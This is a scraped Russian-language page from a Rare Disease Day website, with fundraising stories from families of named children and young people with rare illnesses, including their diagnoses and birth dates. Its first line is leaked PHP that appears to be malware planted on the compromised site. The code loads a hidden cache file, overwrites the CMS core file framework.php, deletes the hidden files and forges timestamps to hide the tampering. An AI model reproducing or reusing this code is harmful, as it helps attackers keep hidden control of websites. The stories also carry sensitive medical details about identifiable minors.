$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Истории
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории
Истории
Анна

 

Меня зовут Анна. Мне 28 лет.Самое время строить планы, растить детей, любить, достигать всего. Но, к сожалению, с каждым годом мои планы и цели становятся все недоступней для меня. Раньше думала, что все у меня будет, все только зависит от меня, от моего желания что-либо делать. И ведь все у меня получалось до того момента, пока не ухудшилось мое состояние. У меня очень хорошая семья. Мама, папа, братик, бабушка…Братик родился недоношенным, слабеньким, маме приходилось лежать по больницам, да и мне было всего 11 месяцев.

Подробнее...
 
Иван

 

Здравствуйте у меня родился внук Иван, у него врожденные аномалии обеих ручек. Левой ручки у нас нет вообще, на правой нет одного пальчика два пальчика срослись и имеют одну общую фалангу (костная синдактилия). Прочитала случайно какую помощь вы оказали Сонечке Куливец. Прошу, помогите, нам предстоит ряд операций ,так как у нас нет даже плеча, нам очень нужен протез как у Сони, начали сбор средств, но нет информации НИКАКОЙ. Подскажите- куда и к кому можно обратиться по поводу консультации и лечения- протезирования. Заранее благодарна. Спасибо вам за то ,что вы делаете.

 
Артур

 

Здравствуйте всем читателям ! у нашего ребёнка Артура диагноз фенилкетонурия ему уже 7 лет мы не разговариваем и развитие практически незначительное можно сказать что ему всего лишь годик,у нас нет проблем с питанием у нс есть средства чтоб заказывать питание из германии ,мы бы лишь хотели узнать кто может подсказать как лечить ребёнка кроме как диета низко белковой продукции ???

 
Кристина Щербакова

 

3ДРАВСТВУЙТЕ!!! Наша дочка больна Туберозным склерозом, редким генетическим заболеванием, при котором во множестве органов и тканей образуются доброкачественные опухоли. КРИСТИНА Сергеевна Щербакова- 11.08.2007 г.р- 4,5 года. Диагноз: Туберозный склероз. Симптоматическая фокальная эпилепсия. Задержка психоречевого и моторного развития. Рабдомиомы сердца. Ангиолипоматоз и поликистоз почек. Заболевание сопровождается тяжелыми инфантильными спазмами (разрушением клеток головного мозга). Кристюша нуждается в постоянном, длительном (пожизненном) курсе противосудорожной терапии.

Подробнее...
 
Николаева Ксения

 

Николаева Ксения, 2001 г.р., состоит на диспансерном учете в ГАУЗ «Детская республиканская клиническая больница МЗ РТ» и по месту жительства по поводу тяжелого заболевания центральной нервной системы. В настоящее время с целью уточнения дальнейшей тактики лечения и реабилитации ребенок направлен в ГУ «Российская детская клиническая больница» г.Москвы в счет квот республики. Необходима материальная помощь на немедицинские расходы (проживание, усиленное питание и т.п.).

 
СОФИЯ

 

В марте 2011 года в нашей семье появилось «чудо»-София. В первые месяцы жизни развивалась, как обычный ребёнок, но ...в два месяца обнаружили ДТБС (Дисплазия тазобедренного сустава), поставили гипсы, в которых дочь находилась пять с половиной месяцев. За это время её мышцы очень сильно ослабели (можно сказать «пришли в негодность»), но при этом чувствительность нервов. Пройдя некоторое обследование был поставлен диагноз: спинальная амиотрофия Верднига-Гоффмана.

Подробнее...
 
Лохманова Алёна

 

Лохманова Алёна, 3 года

Я мама ребенка с СИНДРОМОМ РЕТТА. Меня зовут Лохманова Наталья. Нашей дочке Алёне сейчас 3 года. Она родилась, казалось, здоровым ребенком, только развивалась с задержкой, в год поползла, в год и четыре пошла. Вроде все было хорошо, но я чувствовала, что что-то не так, и не могла сформулировать, что именно меня смущает. Дочка ходила, но не могла залезть на стул, когда другие маленькие дети лазают везде, мы очень долго учились есть ложкой, и успели насладиться этим навыком совсем недолгое время. Первым признаком заболевания стали стереотипии в руках-невозможность контролировать движения рук, ложка стала выпадать. В год и 11 мес. Алёне поставили диагноз атипичный синдром Ретта. Сейчас Алёна почти ничего не может делать руками, сцепляет пальцы, беспорядочно хлопает в ладоши. Тяжело осознавать, что твой ребенок не может взять в руки любимую книжку. Наша задача сохранить имеющиеся навыки, так как беспощадная болезнь забирает их у нас. Навык хотьбы так же начинает давать сбои, ноги Алёны периодически ослабевают, как и все тело, и она может падать из-за этого. Я знаю, что многим девочкам с синдромом Ретта удается сохранять некоторые навыки, над этим можно и нужно усиленно работать. Для того, чтобы тренировать хотьбу нам нужна беговая дорожка с поручнями от пола почти сразу при заступе на движущееся полотно. Такая дорожка очень дорогая, мы не можем приобрести ее сами. Так же, по назначению врача-эпилептолога, Алёна принимает противосудорожный препарат Petnidan Saft, чтобы снять судорожную активность и избежать развития эпилепсии. Это дорогостоящее, незарегистрированное в России лекарство, достать которое всегда проблема, так как его приходится покупать в Германии, и за свой счет. Одного флакона стоимостью 40 евро, хватает на 25 дней приема. Старший ребенок в семье, брат Алёны, ему 13 лет, имеет заболевание ДЦП, передвигается с нашей поддержкой. Несмотря на это мы не оставили мечту о здоровом ребенке. Нашей семье нужны серьезные обследования, в первую очередь, дорогостоящий анализ серийной сравнительной геномной гибридизации, чтобы понять, есть ли у сына генетические причины болезни. Только после этого мы сможем принять взвешенное решение о планировании еще одного ребенка.

Для кого-то это просто страшная история, а для нас это жизнь, которую мы пытаемся раскрасить яркими красками и быть счастливыми. Вы можете нам помочь!

 
Елизавета Савчук

 

Меня зовут Михайлова Юлия Васильевна. Моя дочь Елизавета Савчук родилась 13 июня 2007 года в городе Костроме. Вторые роды на фоне угрозы прерывания беременности в 9 и 16 недель. Роды были своевременными. Лиза первая из двойни. Из выписки: «Хроническая внутриутробная гипоксия плода. Безводный период 1 час 15 минут. Масса ребенка 2990 кг., рост 50 см., по шкале Апгар 8/9 баллов. Состояние ребенка крайне тяжелое: обширные участки отслойки эпидермиса, пузыри, наполненные желтоватой прозрачной жидкостью; участки мокнущей эррозивной поверхности». В связи с этим Лизу перевели в Детскую городскую больницу №3 г.Костромы с диагнозом ВРОЖДЕННЫЙ БУЛЛЕЗНЫЙ ЭПИДЕРМОЛИЗ.

Подробнее...
 
Анечка Лыкова

 

С самого рождения Анечка страдает от редкого и крайне тяжелого заболевания - ламеллярного ихтиоза. От него у малышки ежедневно слазит кожа со всего тела, особенно лица и головы, волосы не растут. В свои 4 года Аня весит 10 килограмм при росте 88 см., не может ничего есть кроме детского питания и пюреобразного супа, девочка не может глотать густую пищу, а так же не переносит глютен. Сопутствующими заболеваниями являются врожденный порок сердца, стеноз легочной артерии, НПО, функциональные нарушения ЖКТ, дистрофия роста волос (девочка почти лысая). К сожалению, врачи Удмуртии не имеют опыта не только лечения, но и диагностирования такого заболевания. Анечка единственная с таким заболеванием на всю республику.

Подробнее...
 
Василий Второв

 


Здравствуйте. В начале января 2012 года у 20-ти летнего Василия Второва диагностировали острый миелобласный лейкоз, для лечения в клинике Израиля необходимо собрать 250 тысяч долларов США, мы обращаемся к каждому с просьбой о помощи! помогите Васе прошу...

 
<< Первая < Предыдущая 1 2 3 4 5 Следующая > Последняя >>

Страница 1 из 5

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru